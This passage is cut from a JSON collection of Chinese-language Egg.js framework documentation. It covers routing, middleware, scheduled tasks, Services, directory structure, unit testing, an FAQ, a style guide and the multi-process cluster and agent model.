ctx.redirect(`http://cn.bing.com/search?q=${q}`);\n  } else {\n    ctx.redirect(`https://www.google.co.kr/search?q=${q}`);\n  }\n};\n\n// curl http://localhost:7001/search?type=bing&q=node.js\n// curl http://localhost:7001/search?q=node.js\n```\n\n### 中间件的使用\n\n如果我们想把用户某一类请求的参数都大写，可以通过中间件来实现。\n这里我们仅简单说明如何使用中间件，更多信息请参考[中间件](./middleware.md)。\n\n```js\n// app/controller/search.js\nexports.index = async (ctx) => {\n  ctx.body = `search: ${ctx.query.name}`;\n};\n\n// app/middleware/uppercase.js\nmodule.exports = () => {\n  return async function uppercase(ctx, next) {\n    ctx.query.name = ctx.query.name && ctx.query.name.toUpperCase();\n    await next();\n  };\n};\n\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get(\n    's',\n    '/search',\n    app.middleware.uppercase(),\n    app.controller.search.index,\n  );\n};\n\n// curl http://localhost:7001/search?name=egg\n```\n\n### 太多路由映射？\n\n如上所述，我们不建议在多个地方分散路由规则，这可能会导致问题排查困难。\n\n如果确实存在需求，可以采用如下方法拆分：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  require('./router/news')(app);\n  require('./router/admin')(app);\n};\n\n// app/router/news.js\nmodule.exports = (app) => {\n  app.router.get('/news/list', app.controller.news.list);\n  app.router.get('/news/detail', app.controller.news.detail);\n};\n\n// app/router/admin.js\nmodule.exports = (app) => {\n  app.router.get('/admin/user', app.controller.admin.user);\n  app.router.get('/admin/log', app.controller.admin.log);\n};\n```\n\n如果需要更好的路由组织方式，也可以直接使用 [egg-router-plus](https://github.com/eggjs/egg-router-plus)。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/schedule.md",
    "content": "# Schedule Controller 定时任务\n\n## 使用场景\n\n支持普通定时任务，在每台部署机器上都会执行。\n\n## 使用方法\n\n:::warning\n⚠️ 注意：**<font style=\"color:#DF2A3F;\">不要将代码写在 `app/schedule` 路径下</font>**，因为 egg 默认会扫描该路径注册定时任务，会和使用装饰器方式有冲突。\n:::\n\n### 普通定时任务\n\n普通定时任务在每台部署的机器上都会执行定时任务调度逻辑。例如通常一个应用在生产环境最少部署在 2 台机器，则定时任务在这 2 台机器中都会运行。\n\n使用 `Schedule` 装饰器标识一个类为定时任务控制器，该类要求必须包含一个名称为 `subscribe` 的方法。框架调度定时任务执行时，会调用 `Schedule` 注解类的 `subscribe` 方法执行。\n\n#### 开启插件\n\negg 内置插件，默认开启。\n\n```typescript\nexport default {\n  teggSchedule: true,\n};\n```\n\n#### interval 模式\n\n普通定时任务，可以配置为 `interval` 模式，即每间隔指定的时间在每台机器上执行一次。间隔时间通过 `Schedule` 装饰器的 `scheduleData.interval` 参数设置。\n\n- `interval` 传值数字类型时，单位为毫秒数，例如 `100`。\n- `interval` 传值字符类型时，会通过 [ms](https://github.com/vercel/ms) 转换成毫秒数，例如 `5s`。\n\n```typescript\n// app/port/schedule/Demo.ts\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    interval: 100, // 每 100ms 执行一次\n    // interval: '5s', // 每 5s 执行一次\n  },\n})\nexport class IntervalScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n#### cron 模式\n\n普通定时任务，也支持 cron 表达式模式，即按照 cron 表达式规则执行定时任务。cron 表达式说明可参考 [cron-parser](https://github.com/harrisiirak/cron-parser)。\n\n```text\n*    *    *    *    *    *\n┬    ┬    ┬    ┬    ┬    ┬\n│    │    │    │    │    |\n│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)\n│    │    │    │    └───── month (1 - 12)\n│    │    │    └────────── day of month (1 - 31)\n│    │    └─────────────── hour (0 - 23)\n│    └──────────────────── minute (0 - 59)\n└───────────────────────── second (0 - 59, optional)\n```\n\n例如下列代码将会每日 3 点在每台机器上执行一次。\n\n```typescript\n// app/port/schedule/CronDemo.ts\nimport { Inject, Logger } from 'egg';\nimport { CronParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<CronParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    // 每日 3 点执行一次\n    cron: '0 0 3 * * *',\n    // 每 5 秒执行一次\n    // cron: '*/5 * * * * *',\n  },\n})\nexport class CronSubscriber {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n#### 工作模式\n\n普通定时任务，一般使用 `worker` 模式，即每台机器上只有一个 worker 会执行这个定时任务。框架也提供了 `all` 模式选项，用于每台机器上的所有 worker 都需要执行定时任务的场景。\n\n- `worker` 模式：每台机器上只有一个 worker 会执行这个定时任务，每次执行定时任务的 worker 的选择是**随机的**。\n- `all` 模式：每台机器上的每个 worker 都会执行这个定时任务。\n\n```typescript\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.ALL, // 所有 worker 都会执行\n  scheduleData: {\n    interval: 100,\n  },\n})\nexport class AllScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n#### 定时任务参数\n\n普通定时任务的 `Schedule` 装饰器支持传入第二个参数，用于指定定时任务运行参数。\n\n- `immediate`：配置了该参数为 true 时，这个定时任务会在应用启动并 ready 后立刻执行一次这个定时任务。\n- `disable`：配置该参数为 true 时，这个定时任务不会被启动。\n- `env`：数组，仅在指定的环境下才启动该定时任务。\n\n```typescript\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>(\n  {\n    type: ScheduleType.WORKER,\n    scheduleData: {\n      interval: 100,\n    },\n  },\n  {\n    immediate: true, // 在应用启动并 ready 后立刻执行一次\n    // disable: true, // 为 true 时，定时任务不会被启动\n    env: ['devserver', 'test'], // 仅在线下环境运行\n  },\n)\nexport class ParamScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/service.md",
    "content": "# 服务（Service）\n\n简单来说，Service 就是在复杂业务场景下用于做业务逻辑封装的一个抽象层，它的提供具有以下几个优点：\n\n- 保持 Controller 中的逻辑更简洁。\n- 保持业务逻辑的独立性，抽象出的 Service 可以被多个 Controller 重复使用。\n- 分离逻辑和展示，这样更便于编写测试用例。具体的测试用例编写方法，可以参见[这里](../core/unittest.md)。\n\n## 使用场景\n\n- 数据处理：当需要展示的信息须从数据库获取，并经规则计算后才能显示给用户，或计算后需更新数据库时。\n- 第三方服务调用：例如获取 GitHub 信息等。\n\n## 定义 Service\n\n```js\n// app/service/user.js\nconst Service = require('egg').Service;\n\nclass UserService extends Service {\n  async find(uid) {\n    const user = await this.ctx.db.query(\n      'select * from user where uid = ?',\n      uid,\n    );\n    return user;\n  }\n}\n\nmodule.exports = UserService;\n```\n\n### 属性\n\n每一次用户请求，框架都会实例化对应的 Service 实例。因为它继承自 `egg.Service`，所以我们拥有以下属性便于开发：\n\n- `this.ctx`：当前请求的上下文 [Context](./extend.md#context) 对象实例。通过它，我们可以获取框架封装的处理当前请求的各种便捷属性和方法。\n- `this.app`：当前应用 [Application](./extend.md#application) 对象实例。通过它，我们可以访问框架提供的全局对象和方法。\n- `this.service`：应用定义的 [Service](./service.md)。通过它，我们可以访问到其他业务层，等同于 `this.ctx.service`。\n- `this.config`：应用运行时的 [配置项](./config.md)。\n- `this.logger`：logger 对象。它有四个方法（`debug`，`info`，`warn`，`error`），分别代表不同级别的日志。使用方法和效果与 [context logger](../core/logger.md#context-logger) 所述一致。但通过这个 logger 记录的日志，在日志前会加上文件路径，方便定位日志位置。\n\n### Service ctx 详解\n\n为了能获取用户请求的链路，在 Service 初始化时，注入了请求上下文。用户可以通过 `this.ctx` 直接获取上下文相关信息。关于上下文的更多详细解释，请参考 [Context](./extend.md#context)。有了 `ctx`，我们可以：\n\n- 使用 `this.ctx.curl` 发起网络调用。\n- 通过 `this.ctx.service.otherService` 调用其他 Service。\n- 调用 `this.ctx.db` 发起数据库操作，`db` 可能是插件预挂载到 app 上的模块。\n\n### 注意事项\n\n- Service 文件必须放在 `app/service` 目录下，支持多级目录。可以通过目录名级联访问。\n\n  ```js\n  // app/service/biz/user.js 对应到 ctx.service.biz.user\n  app/service/biz/user.js => ctx.service.biz.user\n  // app/service/sync_user.js 对应到 ctx.service.syncUser\n  app/service/sync_user.js => ctx.service.syncUser\n  // app/service/HackerNews.js 对应到 ctx.service.hackerNews\n  app/service/HackerNews.js => ctx.service.hackerNews\n  ```\n\n- 一个 Service 文件仅包含一个类，该类需通过 `module.exports` 导出。\n- Service 应通过 Class 形式定义，且继承自 `egg.Service`。\n- Service 不是单例，它是请求级别的对象。框架在每次请求中初次访问 `ctx.service.xx` 时才进行实例化。因此，Service 中可以通过 `this.ctx` 获取当前请求的上下文。\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/user/:id', app.controller.user.info);\n};\n\n// app/controller/user.js\nconst Controller = require('egg').Controller;\nclass UserController extends Controller {\n  async info() {\n    const { ctx } = this;\n    const userId = ctx.params.id;\n    const userInfo = await ctx.service.user.find(userId);\n    ctx.body = userInfo;\n  }\n}\nmodule.exports = UserController;\n\n// app/service/user.js\nconst Service = require('egg').Service;\nclass UserService extends Service {\n  // 默认不需要提供构造函数。\n  /* constructor(ctx) {\n       super(ctx); // 如果需要在构造函数做一些处理，一定要有这句话，才能保证后面 `this.ctx` 的使用。\n       // 就可以直接通过 this.ctx 获取 ctx 了\n       // 还可以直接通过 this.app 获取 app 了\n     } */\n  async find(uid) {\n    // 假如我们拿到用户 id，从数据库获取用户详细信息\n    const user = await this.ctx.db.query(\n      'select * from user where uid = ?',\n      uid,\n    );\n\n    // 假定这里还有一些复杂的计算，然后返回需要的信息\n    const picture = await this.getPicture(uid);\n\n    return {\n      name: user.user_name,\n      age: user.age,\n      picture,\n    };\n  }\n\n  async getPicture(uid) {\n    const result = await this.ctx.curl(`http://photoserver/uid=${uid}`, {\n      dataType: 'json',\n    });\n    return result.data;\n  }\n}\nmodule.exports = UserService;\n\n// curl http://127.0.0.1:7001/user/1234\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/structure.md",
    "content": "# 目录结构\n\n在[快速入门](../intro/quickstart.md)中，大家对框架应该有了初步的印象，接下来我们简单了解下目录约定规范。\n\n```bash\negg-project\n├── package.json\n├── app.ts（可选）\n├── agent.ts（可选）\n├── app\n│   ├── controller\n│   │   ├── http\n│   │   │   ├── HomeController.ts\n│   │   │   └── UserController.ts\n│   │   ├── rpc\n│   │   │   └── UserRPCController.ts\n│   │   ├── mcp\n│   │   │   └── MyMCPController.ts\n│   │   └── schedule\n│   │       └── MyTaskController.ts\n│   ├── service（可选）\n│   │   └── UserService.ts\n│   ├── middleware（可选）\n│   │   └── ResponseTimeMiddleware.ts\n│   ├── public（可选）\n│   │   └── reset.css\n│   ├── view（可选）\n│   │   └── home.tpl\n│   └── extend（可选）\n│       ├── helper.ts（可选）\n│       ├── request.ts（可选）\n│       ├── response.ts（可选）\n│       ├── context.ts（可选）\n│       ├── application.ts（可选）\n│       └── agent.ts（可选）\n├── config\n|   ├── plugin.ts\n|   ├── config.default.ts\n│   ├── config.prod.ts\n|   ├── config.test.ts（可选）\n|   ├── config.local.ts（可选）\n|   └── config.unittest.ts（可选）\n└── test\n    ├── middleware\n    |   └── ResponseTimeMiddleware.test.ts\n    └── controller\n           ├── http\n           │   └── HomeController.test.ts\n           ├── mcp\n           │   └── MyMCPController.test.ts\n           └── schedule\n               └── MyTaskController.test.ts\n```\n\n如上，由框架约定的目录：\n\n- `app/controller/**` 用于解析用户的输入，处理后返回相应的结果，具体参见 [Controller](./controller.md)。\n- `app/service/**` 用于编写业务逻辑层，建议使用，具体参见 [Service](./service.md)。\n- `app/middleware/**` 用于编写中间件，具体参见 [Middleware](./middleware.md)。\n- `app/public/**` 用于放置静态资源，具体参见内置插件 [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static)。\n- `app/extend/**` 用于框架的扩展，具体参见 [框架扩展](./extend.md)。\n- `config/config.{env}.ts` 用于编写配置文件，具体参见 [配置](./config.md)。\n- `config/plugin.ts` 用于配置需要加载的插件，具体参见 [插件](./plugin.md)。\n- `test/**` 用于单元测试，具体参见 [单元测试](../core/unittest.md)。\n- `app.ts` 和 `agent.ts` 用于自定义启动时的初始化工作，具体参见 [启动自定义](./app-start.md)。关于 `agent.ts` 的作用，参见 [Agent 机制](../core/cluster-and-ipc.md#agent-机制)。\n\n由内置插件约定的目录：\n\n- `app/public/**` 用于放置静态资源，具体参见内置插件 [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static)。\n\n**若需自定义自己的目录规范，参见 [加载器（Loader）](../advanced/loader.md)**\n\n- `app/view/**` 用于放置模板文件，具体参见 [模板渲染](../core/view.md)。\n- `app/model/**` 用于放置领域模型，如 [`egg-sequelize`](https://github.com/eggjs/egg-sequelize) 等领域类相关插件。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/unittest.md",
    "content": "# 单元测试\n\n## 快速开始\n\n```typescript\nimport assert from 'node:assert';\nimport { app } from '@eggjs/mock/bootstrap';\nimport { FooService } from '../app/foo';\n\ndescribe('test/xxx.test.ts', () => {\n  let fooService: FooService;\n  beforeEach(async () => {\n    fooService = await app.getEggObject(FooService);\n  });\n\n  it('should work', async () => {\n    const result = await fooService.foo();\n    assert(result);\n  });\n});\n```\n\n### 工具链命令\n\n```bash\n$ egg-bin test\n```\n\negg-bin v8+ 内部使用 [Vitest](https://vitest.dev) 作为测试运行器，提供以下特性：\n\n- 原生 TypeScript 支持，无需额外配置\n- 自动注入 vitest 全局变量（`describe`、`it`、`beforeAll` 等）\n- 自动加载 `test/.setup.ts` 作为 setup 文件\n- 对 egg 应用自动注入 `@eggjs/mock/setup_vitest`，处理 app 生命周期\n\n## Mock 方法\n\n### Context\n\n在单测中需要获取 egg Context 时，可以使用以下 API。\n\n```typescript\nexport interface Application {\n  currentContext: Context;\n}\n```\n\n使用例子\n\n```typescript\nimport { app } from '@eggjs/mock/bootstrap';\n\ndescribe('test', () => {\n  let ctx;\n\n  it('test', () => {\n    ctx = app.currentContext;\n    // do something with ctx\n  });\n});\n```\n\n### 获取对象实例\n\n在单测中需要获取 Module 中的对象实例时，可以使用以下 API\n\n```typescript\nexport interface Application {\n  /**\n   * 通过一个类来获取实例\n   * 注：app.getEggObject 只能获取 Singleton 实例\n   */\n  getEggObject<T>(clazz: EggProtoImplClass<T>): Promise<T>;\n}\n\nexport interface Context {\n  /**\n   * 通过一个类来获取实例\n   * 注：ctx.getEggObject 可以获取 Singleton/Context 实例\n   */\n  getEggObject<T>(clazz: EggProtoImplClass<T>): Promise<T>;\n}\n```\n\n使用例子\n\n```typescript\n// HelloService.ts\n@SingletonProto()\nexport class HelloService {\n  async foo() {\n    // do something\n  }\n}\n\n// xxx.test.ts\nimport { app } from '@eggjs/mock/bootstrap';\nimport { HelloService } from '../app/module/foo/HelloService.ts';\n\ndescribe('test', () => {\n  it('test', async () => {\n    const helloService = await app.getEggObject(HelloService);\n    await helloService.foo();\n  });\n});\n```\n\n### Mock 对象方法\n\n在单测中如果需要 mock 掉 Module 中的某些方法时，可以 mock 掉原型来测试，比如`mock(XXX.prototype, 'xxx', 'xxx')`\n\n```typescript\n// HelloService.ts\n@SingletonProto()\nexport class HelloService {\n  async hello() {\n    // do something\n  }\n}\n\n// FooService.ts\n@SingletonProto()\nexport class FooService {\n  @Inject()\n  helloService: HelloService;\n\n  async foo() {\n    return this.helloService.hello();\n  }\n}\n\n// xxx.test.ts\nimport { app, mm } from '@eggjs/mock/bootstrap';\nimport assert from 'node:assert/strict';\nimport { HelloService } from '../app/module/foo/HelloService.ts';\nimport { FooService } from '../app/module/foo/FooService.ts';\n\ndescribe('test', () => {\n  it('test', async () => {\n    mm(HelloService.prototype, 'hello', async () => {\n      return '123';\n    });\n    const fooService = await app.getEggObject(FooService);\n    assert.equal(await fooService.foo(), '123');\n  });\n});\n```\n"
  },
  {
    "path": "site/docs/zh-CN/community/faq.md",
    "content": "# 常见问题\n\n如果下面的内容无法解决你的问题，请查看 [Egg issues](https://github.com/eggjs/egg/issues)。\n\n## 如何高效地反馈问题？\n\n感谢你向我们反馈问题。\n\n1. 我们推荐如果是小问题（错别字修改、小的 bug 修复）直接提交 PR。\n2. 如果是一个新需求，请提供：详细需求描述，最好是有伪代码示意。\n3. 如果是一个 BUG，请提供：复现步骤、错误日志以及相关配置，并尽量填写下面的模板中的条目。\n4. **如果可以，尽可能使用 `npm init egg --type=simple bug` 提供一个最小可复现的代码仓库，方便我们排查问题。**\n5. 不要挤牙膏似的交流，扩展阅读：[如何向开源项目提交无法解答的问题](https://zhuanlan.zhihu.com/p/25795393)。\n\n最重要的是，请明白一件事：开源项目的用户和维护者之间并不是甲方和乙方的关系；issue 也不是客服工单。在开 issue 的时候，请抱着一种『我们一起合作来解决这个问题』的心态，不要期待我们单方面地为你服务。\n\n## 为什么我的配置不生效？\n\n框架的配置功能比较强大，有不同环境变量，还有框架、插件、应用等多个配置。\n\n如果你在分析问题时想知道当前运行时使用的最终配置，可以查看下 `${root}/run/application_config.json`（worker 进程配置）和 `${root}/run/agent_config.json`（agent 进程配置）这两个文件。(`root` 为应用根目录，只有在 local 和 unittest 环境下为项目所在目录，其他环境下为 HOME 目录)\n\n也可以参见[配置文件](../basics/config.md#配置结果)。\n\nPS：请确保没有写出以下代码：\n\n```js\n// config/config.default.js\nexports.someKeys = 'abc';\nmodule.exports = (appInfo) => {\n  const config = {};\n  config.keys = '123456';\n  return config;\n};\n```\n\n## 线上的日志打印去哪里了？\n\n默认配置下，本地开发环境的日志都会打印在应用根目录的 `logs` 文件夹下 (`${baseDir}/logs`)，但在非开发期的环境（非 local 和 unittest 环境）中，所有日志都会打印到 `$HOME/logs` 文件夹下（例如 `/home/admin/logs`）。这样可以让本地开发时应用日志互不影响，服务器运行时又有统一的日志输出目录。\n\n## 进程管理为什么没有选型 PM2？\n\n1. PM2 模块本身复杂度很高，出了问题很难排查。我们认为框架使用的工具复杂度不应该过高，而 PM2 自身的复杂度超越了大部分应用本身。\n2. 没法做非常深的优化。\n3. 切实需要解决如：多个进程中有一个充当 leader，其他进程则通过代理的方式将请求转发给 leader 这种模式（[多进程模型](../core/cluster-and-ipc.md)），这在企业级开发中可以减少远端连接，降低数据通信压力。特别是当应用规模大到一定程度时，这就会是必需。egg 起源于蚂蚁金服和阿里，我们的起点就是大规模企业应用的构建，所以需要非常全面。这些特性通过 PM2 很难实现。\n\n进程模型非常重要，会影响开发模式以及运行期间的深度优化等，我们认为可能由框架来控制比较合适。\n\n**如何使用 PM2 启动应用？**\n\n尽管我们不推荐使用 PM2 启动，你仍然可以这样做。\n\n首先，在项目根目录定义启动文件：\n\n```js\n// server.js\nconst egg = require('egg');\n\nconst workers = Number(process.argv[2] || require('os').cpus().length);\negg.startCluster({\n  workers,\n  baseDir: __dirname,\n});\n```\n\n接着，就可以通过 PM2 启动：\n\n```bash\npm2 start server.js\n```\n\n## 为什么会有 csrf 报错？\n\n通常有两种 csrf 报错：\n\n- `missing csrf token`\n- `invalid csrf token`\n\nEgg 内置的 [@eggjs/security](https://github.com/eggjs/security/) 插件默认对所有“非安全”的方法，例如 `POST`、`PUT`、`DELETE`，都进行 CSRF 校验。\n\n遇到 csrf 报错通常是因为没有加正确的 csrf token 导致的，具体实现方式，请阅读[安全威胁 CSRF 的防范](../core/security.md#安全威胁csrf的防范)。\n\n## 本地开发时，修改代码后为什么 worker 进程没有自动重启？\n\nworker 进程没有自动重启的情形通常发生在使用 Jetbrains 旗下软件（例如 IntelliJ IDEA、WebStorm 等），并且开启了 Safe Write 选项时。\n\nJetbrains [Safe Write 文档](https://www.jetbrains.com/help/webstorm/2016.3/system-settings.html) 中有提到（翻译如下）：\n\n> “如果此复选框打钩，变更的文件将首先被存储在一个临时文件中。如果文件保存成功，则临时文件会替换原文件（从技术上讲，原文件被删除，临时文件被重命名）。”\n\n由于使用了重命名，文件监听失效。解决方法是关闭 Safe Write 选项。（Settings | Appearance & Behavior | System Settings | Use \"safe write\"，路径可能因版本不同有所差异）\n"
  },
  {
    "path": "site/docs/zh-CN/community/index.md",
    "content": "# 社区\n\n## 交流群\n\n- 钉钉群号：21751340，群名：Egg 社区互助交流群\n- 微信群名：Egg 非官方自助交流群\n\n## 资源链接\n\n- 框架\n  - [aliyun-egg](https://github.com/eggjs/aliyun-egg)\n- 工具\n  - [vscode plugin - eggjs](https://marketplace.visualstudio.com/items?itemName=atian25.eggjs)\n  - [vscode plugin - eggjs-dev-tools](https://marketplace.visualstudio.com/items?itemName=yuzukwok.eggjs-dev-tools)\n- 其他\n  - [awesome-egg](https://github.com/eggjs/awesome-egg)\n- 文章\n  - [如何评价阿里开源的企业级 Node.js 框架 Egg？](https://www.zhihu.com/question/50526101/answer/144952130) 由 [@天猪](https://github.com/atian25) 提供\n  - 你也可以到[知乎专栏](https://www.zhihu.com/column/eggjs)看我们的文章\n\n## 项目赞助\n\n[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n\n## 贡献者\n\n[![contributors](https://contrib.rocks/image?repo=eggjs/egg&max=240&columns=26)](https://github.com/eggjs/egg/graphs/contributors)\n"
  },
  {
    "path": "site/docs/zh-CN/community/style-guide.md",
    "content": "# 代码风格指南\n\n建议开发者使用 `npm init egg --type=simple showcase` 来生成并观察推荐的项目结构和配置。\n\n## 用类的形式呈现（Classify）\n\n旧写法：\n\n```js\nmodule.exports = (app) => {\n  class UserService extends app.Service {\n    async list() {\n      return await this.ctx.curl('https://eggjs.org');\n    }\n  }\n  return UserService;\n};\n```\n\n修改为：\n\n```js\nconst Service = require('egg').Service;\nclass UserService extends Service {\n  async list() {\n    return await this.ctx.curl('https://eggjs.org');\n  }\n}\nmodule.exports = UserService;\n```\n\n同时，框架开发者需要改变写法如下，否则应用开发者自定义 Service 等基类会有问题：\n\n```js\nconst egg = require('egg');\n\nmodule.exports = Object.assign(egg, {\n  Application: class MyApplication extends egg.Application {\n    // ...\n  },\n  // ...\n});\n```\n\n## 私有属性与慢初始化\n\n- 私有属性用 `Symbol` 来挂载。\n- `Symbol` 的描述遵循 jsdoc 的规则, 描述映射后的类名 + 属性名。\n- 实现延迟初始化。\n\n```js\n// app/extend/application.js\nconst CACHE = Symbol('Application#cache');\nconst CacheManager = require('../../lib/cache_manager');\n\nmodule.exports = {\n  get cache() {\n    if (!this[CACHE]) {\n      this[CACHE] = new CacheManager(this);\n    }\n    return this[CACHE];\n  },\n};\n```\n"
  },
  {
    "path": "site/docs/zh-CN/core/cluster-and-ipc.md",
    "content": "# 多进程模型和进程间通讯\n\n我们知道 JavaScript 代码是运行在单线程上的，换句话说，一个 Node.js 进程只能运行在一个 CPU 上。那么如果用 Node.js 来做 Web Server，就无法享受到多核运算的好处。作为企业级的解决方案，我们要解决的一个问题就是：\n\n> 如何榨干服务器资源，利用上多核 CPU 的并发优势？\n\nNode.js 官方提供的解决方案是 [Cluster 模块](https://nodejs.org/api/cluster.html)。其中包含一段简介：\n\n> 单个 Node.js 实例在单线程环境下运行。为了更好地利用多核环境，用户有时希望启动一批 Node.js 进程用于加载。\n>\n> 集群化模块使得你很方便地创建子进程，以便于在服务端口之间共享。\n\n## Cluster 是什么？\n\n简单地说，Cluster 是：\n\n- 在服务器上同时启动多个进程。\n- 每个进程里都运行着同一份源代码（好比把以前一个进程的工作分给多个进程去做）。\n- 更神奇的是，这些进程可以同时监听一个端口（具体原理推荐阅读 @DavidCai1993 这篇关于 [Cluster 实现原理](https://cnodejs.org/topic/56e84480833b7c8a0492e20c) 的文章）。\n\n其中：\n\n- 负责启动其他进程的叫做 Master 进程，好比是一个“包工头”，不做具体的工作，只负责启动其他进程。\n- 其他被启动的进程叫 Worker 进程，顾名思义就是干活的“工人”。它们接收请求，对外提供服务。\n- Worker 进程的数量一般根据服务器的 CPU 核数来定，这样可以完美利用多核资源。\n\n```js\nconst cluster = require('cluster');\nconst http = require('http');\nconst numCPUs = require('os').cpus().length;\n\nif (cluster.isMaster) {\n  // Fork workers.\n  for (let i = 0; i < numCPUs; i++) {\n    cluster.fork();\n  }\n\n  cluster.on('exit', (worker, code, signal) => {\n    console.log(`worker ${worker.process.pid} died`);\n  });\n} else {\n  // Workers can share any TCP connection.\n  // In this case it is an HTTP server.\n  http\n    .createServer((req, res) => {\n      res.writeHead(200);\n      res.end('hello world\\n');\n    })\n    .listen(8000);\n}\n```\n\n## 框架的多进程模型\n\n上面的示例是否很简单呢？但作为企业级应用解决方案，我们需要考虑的问题还有很多。\n\n- Worker 进程异常退出后，我们应如何处理？\n- 多个 Worker 进程之间，如何共享资源？\n- 多个 Worker 进程之间，又该如何调度？\n- ...（此处省略号不需要修改为中文省略号，因为它在用列表符号表示内容，并不是句子的结束）\n\n### 进程守护\n\n健壮性（又称鲁棒性）是企业级应用必须要考虑的问题。除了程序代码质量要保证外，框架层面也需要提供相应的“兜底”机制，以保证极端情况下应用的可用性。\n\n一般来说，Node.js 进程退出可以分为两类：\n\n#### 未捕获异常\n\n当代码抛出未被捕获的异常时，进程将会退出。这时 Node.js 提供了 `process.on('uncaughtException', handler)` 接口来捕获它。但是，当一个 Worker 进程遇到[未捕获的异常](https://nodejs.org/dist/latest-v6.x/docs/api/process.html#process_event_uncaughtexception)时，它已经处于不确定状态，此时我们应该让这个进程优雅退出：\n\n1. 关闭异常 Worker 进程的所有 TCP Server（将已有连接快速断开，且不再接收新的连接），断开与 Master 的 IPC 通道，不再接受新的用户请求。\n2. Master 立即 fork 一个新的 Worker 进程，以确保在线的“工人”总数保持不变。\n3. 异常 Worker 等待一段时间，在处理完已接收的请求后退出。\n\n```bash\n   +---------+                 +---------+\n   |  Worker |                 |  Master |\n   +---------+                 +----+----+\n        | uncaughtException         |\n        +------------+              |\n        |            |              |                   +---------+\n        | <----------+              |                   |  Worker |\n        |                           |                   +----+----+\n        |        disconnect         |   fork a new worker    |\n        +-------------------------> + ---------------------> |\n        |         wait...           |                        |\n        |          exit             |                        |\n        +-------------------------> |                        |\n        |                           |                        |\n       die                          |                        |\n                                    |                        |\n                                    |                        |\n```\n\n#### OOM、系统异常\n\n当进程由于异常导致 crash 或者因 OOM 被系统杀死时，不同于未捕获异常发生时我们还有让进程继续执行的机会，只能让当前进程直接退出。Master 立即 fork 一个新的 Worker。\n\n在框架里，我们采用 [graceful] 和 [egg-cluster] 两个模块配合，实现上述逻辑。这套方案已在阿里巴巴和蚂蚁金服的生产环境中广泛部署，并经历过“双 11”大促的考验。因此，它相对稳定可靠。\n\n### Agent 机制\n\nNode.js 的多进程方案现已成型，这也是我们早期线上使用的方案。但后来我们发现，有些工作不需要每个 Worker 都去做。如果都去做，既是资源浪费，更重要的是，可能会导致多进程间资源访问冲突。举个例子，在生产环境中我们通常按日期归档日志文件，在单进程模型下这非常简单：\n\n> 1. 每天凌晨 0 点，将当前日志文件按日期重命名。\n> 2. 销毁之前的文件句柄，并创建新的日志文件继续写入。\n\n试想，如果现在有 4 个进程同时做同样事情，就会混乱。因此，对于这类后台任务，我们希望它们在一个单独的进程中执行，该进程就叫 Agent Worker，简称 Agent。Agent 类似于 Master 为其他 Worker 雇佣的“秘书”，不对外提供服务，只服务于 App Worker，专门处理公共事务。现在我们的多进程模型就成了下面这个样子：\n\n```bash\n                  +--------+          +-------+\n                  | Master |<-------->| Agent |\n                  +--------+          +-------+\n                  ^   ^    ^\n                 /    |     \\\n               /      |       \\\n             /        |         \\\n           v          v          v\n  +----------+   +----------+   +----------+\n  | Worker 1 |   | Worker 2 |   | Worker 3 |\n  +----------+   +----------+   +----------+\n```\n\n框架的启动时序如下：\n\n```bash\n    +---------+           +---------+          +---------+\n    |  Master |           |  Agent  |          |  Worker |\n    +---------+           +----+----+          +----+----+\n         |      fork agent     |                    |\n         +-------------------->|                    |\n         |      agent ready    |                    |\n         |<--------------------+                    |\n         |                     |     fork worker    |\n         +----------------------------------------->|\n         |     worker ready    |                    |\n         |<-----------------------------------------+\n         |      Egg ready      |                    |\n         +-------------------->|                    |\n         |      Egg ready      |                    |\n         +----------------------------------------->|\n```\n\n1. Master 启动后先 fork Agent 进程。\n2. Agent 初始化成功后，通过 IPC 通道通知 Master。\n3. Master 接着 fork 多个 App Worker。\n4. App Worker 初始化成功后，通知 Master。\n5. 所有进程初始化成功后，Master 通知 Agent 和 Worker，应用启动成功。\n\n关于 Agent Worker，还有几点需要注意：\n\n1. 因为 App Worker 依赖于 Agent，所以必须要等 Agent 初始化完成后才能 fork App Worker。\n2. Agent 是 App Worker 的“小秘”，但不应该安排业务相关的工作，以免过于繁忙。\n3. 由于 Agent 的特殊定位，我们应该确保它相对稳定。遇到未捕获异常时，框架不会像 App Worker 那样重启，而是记录异常日志、报警等待人工处理。\n4. Agent 和普通 App Worker 提供的 API 不完全相同。想知道具体差异，请查看[框架文档](../advanced/framework.md)。\n\n### Agent 的用法\n\n你可以在应用或插件的根目录下的 `agent.js` 文件中实现你自己的逻辑（使用方法类似于[启动自定义](../basics/app-start.md)，只是入口参数为 agent 对象）。\n\n```js\n// agent.js\nmodule.exports = agent => {\n  // 在这里写你的初始化逻辑。\n\n  // 你还可以通过 messenger 